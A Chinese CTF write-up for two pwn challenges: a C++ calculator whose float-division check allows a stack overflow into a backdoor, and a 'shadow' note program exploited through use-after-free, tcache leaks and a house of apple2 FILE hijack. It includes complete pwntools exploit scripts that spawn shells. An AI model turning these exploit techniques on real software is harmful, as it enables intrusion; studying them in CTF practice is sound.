非常好国际比赛,使我记忆恢复。

0x01 Super CPP Calc

分析

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char v3[28]; // [rsp+0h] [rbp-20h] BYREF
int v4; // [rsp+1Ch] [rbp-4h] BYREF

v4 = 0;
Calculator::Calculator((Calculator *)v3);
setup();
while ( 1 )
{
while ( 1 )
{
banner();
printf("> ");
__isoc99_scanf("%d", &v4);
if ( v4 != 1337 )
break;
Calculator::Backdoor((Calculator *)v3);
}
if ( v4 <= 1337 )
{
if ( v4 == 1 )
{
Calculator::setnumber_floater((Calculator *)v3);
}
else if ( v4 == 2 )
{
Calculator::setnumber_integer((Calculator *)v3);
}
}
}
}

程序应该是初始化了一个Calculator类,其中包含三个成员函数,并对成员变量进行了初始化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall Calculator::Calculator(Calculator *this)
{
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
*((_DWORD *)this + 3) = 0;
*((_DWORD *)this + 4) = 0;
*((_DWORD *)this + 5) = 0;
*(_DWORD *)this = 0;
*((_DWORD *)this + 1) = 0;
*((_DWORD *)this + 2) = 0;
*((_DWORD *)this + 3) = 0;
*((_DWORD *)this + 4) = 0;
*((_DWORD *)this + 5) = 0;
*((_DWORD *)this + 6) = 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssize_t __fastcall Calculator::Backdoor(Calculator *this)
{
ssize_t result; // rax
__int64 buf[128]; // [rsp+10h] [rbp-400h] BYREF

memset(buf, 0, sizeof(buf));
result = *((unsigned int *)this + 6);
if ( (_DWORD)result )
{
puts("Create note");
printf("> ");
return read(0, buf, *((int *)this + 6));
}
return result;
}

backdoor中存在一个潜在的栈溢出,前提是能控制this+6大于0x410

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall Calculator::setnumber_floater(Calculator *this)
{
__int64 result; // rax

puts("Floater Calculator");
printf("> ");
__isoc99_scanf("%f", (char *)this + 12);
printf("> ");
__isoc99_scanf("%f", (char *)this + 16);
if ( *((float *)this + 3) < 0.0
|| *((float *)this + 4) < 0.0
|| *((float *)this + 3) > 10.0
|| *((float *)this + 4) > 10.0 )
{
printf("No Hack");
exit(1);
}
if ( (unsigned __int8)checkDecimalPlaces(*((float *)this + 3)) != 1 )
{
*((_DWORD *)this + 3) = 1065353216;
*((_DWORD *)this + 4) = 1065353216;
}
*((float *)this + 5) = *((float *)this + 3) / *((float *)this + 4);
*((_DWORD *)this + 6) = (int)*((float *)this + 5);
result = *((unsigned int *)this + 6);
if ( (int)result < 0 )
{
result = (__int64)this;
--*((_DWORD *)this + 6);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Calculator *__fastcall Calculator::setnumber_integer(Calculator *this)
{
Calculator *result; // rax

puts("Integer Calculator");
printf("> ");
__isoc99_scanf("%d", this);
printf("> ");
__isoc99_scanf("%d", (char *)this + 4);
if ( *(int *)this < 0 || *((int *)this + 1) < 0 || *(int *)this > 10 || *((int *)this + 1) > 10 )
{
printf("No Hack");
exit(1);
}
*((_DWORD *)this + 2) = *((_DWORD *)this + 1) + *(_DWORD *)this;
result = this;
*((_DWORD *)this + 6) = *((_DWORD *)this + 2);
return result;
}

输入的数据限制了不能小于零不能大于十,那么整型加法就没法凑出需要的大小了。但是浮点数运算是除法,所以也许有机可乘。但是注意看运算中间有个检查,简单来讲就是检查this+3这个数的小数位数是否不为一,如果满足,则替换数字,这样运算出来的结果永远是1,显然我们要让第一个输入的数据小数位只有一个数,第二个数则无所谓。所以输入9.9和0.001就够大了。很简单的逻辑漏洞。注意一下栈平衡问题即可。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
# r = remote('34.122.93.62', 31134)
r = process('CPPCalc')
# context.log_level = 'debug'

r.recvuntil(b'>')
r.sendline(b'1')

r.recvuntil(b'>')
r.sendline(b'9.9')
r.recvuntil(b'>')
r.sendline(b'0.001')

# gdb.attach(r, 'b *0x4018DC')
# pause()

r.recvuntil(b'>')
r.sendline(b'1337')


payload = b'a'*0x408+p64(0x401748)
r.sendline(payload)

r.interactive()

0x02 shadow

题目

题目环境是ubuntu22.04,即glibc2.35

我给部分函数更改了名字,并且写了一些注释方便理解。

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 retaddr; // [rsp+18h] [rbp+8h]

init1(retaddr); // 产生了两个0x20的chunk,5380=2,此处参数的retaddr是一个libc的地址,是main函数的返回地址
setbuf();
chal(retaddr, (__int64)a2, v3);
RFG_chk(retaddr);
return 0LL;
}

RFG_chk这个函数是根据我自己理解改的名字,最近刚好看了一点windows pwn的知识,其中有一个保护机制叫RFG,工作原理是保存当前栈帧的返回地址,并在函数返回时对比返回地址是否正确。这个程序里的RFG_chk就是手动实现了这个功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_QWORD *__fastcall init1(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rcx
_QWORD *result; // rax
_QWORD *v4; // [rsp+18h] [rbp-8h]

v4 = malloc(0x10uLL);
*v4 = a1;
v4[1] = malloc(0x10uLL);
v1 = count++;
v2 = v1;
result = v4;
chunk_list[v2] = v4;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall chal(__int64 a1, __int64 *a2, __int64 a3)
{
__int64 *v3; // rdi
__int64 v5; // [rsp+8h] [rbp-18h] BYREF
__int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF
__int64 retaddr; // [rsp+28h] [rbp+8h]

v6[1] = __readfsqword(0x28u);
v6[0] = 2LL;
v3 = (__int64 *)retaddr;
init1(retaddr); // 又产生了两个chunk
while ( 1 )
{
menu(v3, a2);
a2 = &v5; // 把一个栈地址传给了一个环境变量?
v3 = (__int64 *)&choice;
__isoc99_scanf(&choice, &v5);
if ( v5 == 3 )
break;
if ( v5 > 3 )
goto LABEL_9;
if ( v5 == 1 )
{
edit(); // 下标越界,UAF,但是函数结束之后edit函数里申请的chunk全部会被释放掉,虽然有uaf依然可以访问到。
}
else if ( v5 == 2 )
{
v3 = v6;
show(v6); // 把2这个数字传了进去,最多只能show两次,每次会减一
}
else
{
LABEL_9:
v3 = (__int64 *)"Wrong.";
puts("Wrong.");
}
}
sub_13E0();
return RFG_chk(retaddr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 edit()
{
__int64 v1; // [rsp+8h] [rbp-18h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
__int64 retaddr; // [rsp+28h] [rbp+8h]

v3 = __readfsqword(0x28u);
init1(retaddr);
printf("index: ");
__isoc99_scanf(&choice, &v1);
v2 = chunk_list[v1]; // 没有下标检查
getchar();
printf("msg: ");
myread(*(_QWORD *)(v2 + 8)); // 会写到init1中申请的第二个chunk
RFG_chk(retaddr); // 每次RFG(检查返回地址是否被篡改)会删除最后面的两个chunk。也就是myread里调用的那个init1
return v3 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall show(_QWORD *a1)
{
__int64 v2; // [rsp+18h] [rbp-18h] BYREF
__int64 v3; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
void *retaddr; // [rsp+38h] [rbp+8h]

v4 = __readfsqword(0x28u);
init1((__int64)retaddr);
if ( *a1 )
{
--*a1;
printf("index: ");
__isoc99_scanf(&choice, &v2);
v3 = chunk_list[v2];
puts("=== shadow msg ===");
printf("%s\n\n", *(const char **)(v3 + 8));
}
else
{
puts("don't look anymore!");
}
RFG_chk(retaddr);
return v4 - __readfsqword(0x28u);
}
思路

很显然程序有UAF漏洞,所以可以通过tcache attack泄露堆地址和libc地址。这边详细讲讲泄露libc地址。程序每次申请堆块一定是两两申请,并且每个大小都是0x20固定。edit和show函数都是对每次申请的第二个chunk进行操作。准确来说,是从第一个chunk中取第二个chunk的地址,并进行操作。我们逐步分析。

程序初始执行到菜单时heap分布如下:程序初始heap

0x290处的chunk在chunklist中下标为0,如果对其进行操作,比如show,那么就会打印出红框框起来的地址处的内容,对应第二个chunk,然后这个chunk是不在chunklist中的。同理,0x2d0处的chunk在list中,但是操作的是0x300处。

那么泄露堆地址的思路很简单,只要有chunk被释放进tcachebin,被释放chunk的fd处就会有加密后的堆地址泄露堆地址

我们经过一个edit操作之后,会多了两组被释放的chunk。红框对应的地址在list中下标为2,会泄露出来绿色框地址处的堆地址。记得解密。

然后我们劫持一个chunk的[1]处,edit修改为堆地址+0x2a0,show被劫持的那个chunk我们就能泄露main_areana附近的地址了。

因为chunklist在bss段,并且可以下标越界,所以选择打到stderr,劫持stdout的FILE进行house of apple2。apple2的相关内容在另一篇文章详细展开记录。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
r = process('./prob')

context(arch='amd64', os='linux', log_level='debug')
e = ELF('./prob')
libc = ELF('./libc.so.6')


def menu(index):
r.recvuntil(b'>')
r.sendline(str(index).encode())


def edit(index, msg):
menu(1)
r.recvuntil(b'index:', timeout=1)
r.sendline(str(index).encode())
r.recvuntil(b'msg:', timeout=1)
r.sendline(msg)


def show(index):
menu(2)
r.recvuntil(b'index:')
r.sendline(str(index).encode())
r.recvuntil(b'=== shadow msg ===\n')


def decrypt(c):
key = p8(c[0] ^ 0x60)
key += p8(c[1] ^ (((key[0] << 4) & 0xff) | 0x3))
key += p8(c[2] ^ (((key[1] << 4) & 0xff) | (key[0] >> 4)))
key += p8(c[3] ^ (((key[2] << 4) & 0xff) | (key[1] >> 4)))
key += p8(c[4] ^ (((key[3] << 4) & 0xff) | (key[2] >> 4)))
key = u64(key.ljust(8, b'\x00'))
heap = key << 12
return heap


# 泄露堆地址
edit(0, b'deadbeef')
show(2)


heap_c = r.recv(6)
heap = decrypt(heap_c)
success(hex(heap))

# 泄露libc地址
edit(0, b'a'*0x28+p64(heap+0x2a0))
show(1)
libc_base = u64(r.recv(6).ljust(8, b'\x00'))-0x29d90
success(hex(libc_base))


fake_file = flat({
0x0: b' sh;',
0x10: p64(libc_base + libc.symbols['system']),
0x20: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),

0x88: p64(libc_base + 0x21ca70), # _lock
0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']),
0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] + 0x10),
0xe0: p64(libc_base + libc.symbols['_IO_2_1_stdout_']-8),
}, filler=b"\x00")


# gdb.attach(r, 'b *$rebase(0x12E3)')
# pause()

edit(-4, b'a'*0x5d+fake_file)


r.interactive()

然后Qanux师傅给出了一个利用stdout泄露libc的非预期:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *

# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
# p=remote('node5.buuoj.cn',29746)
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d",
".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./prob')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')


def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')


def menu(index):
p.recvuntil(b'>')
p.sendline(str(index).encode())


def edit(index, msg):
menu(1)
p.recvuntil(b'index:', timeout=1)
p.sendline(str(index).encode())
p.recvuntil(b'msg:', timeout=1)
p.sendline(msg)


def show(index):
menu(2)
p.recvuntil(b'index:')
p.sendline(str(index).encode())


def decrypt(cry):
ans = cry
for i in range(3):
ans = (ans >> 12) ^ cry
return ans


leak = 0

while True:
# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD": "./libc.so.6"})
p = process('./prob')
edit(-4, b'a'*0x5d+p64(0xfbad1800) + p64(0)*3+b'\x00')
try:
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'), timeout=1)
except:
p.close()
continue
try:
if hex(leak)[-2] != '2' or hex(leak)[-1] != '0' or hex(leak)[-3] != 'b':
raise ValueError("leak libc error")
except:
p.close()
continue

lg("leak")
libc_base = leak - 0x219B20
lg("libc_base")

fake_file = flat({
0x0: b' sh;',
0x8: p64(libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x10),
0x28: p64(libc_base + libc.symbols['system']),

0x88: p64(libc_base + libc.symbols['_environ']-0x10),
0xa0: p64(libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x40),
0xd8: p64(libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20),
}, filler=b"\x00")

edit(-4, b'\x00'*0x5d+fake_file)

p.interactive()
break

0x03 User_management

⬆︎TOP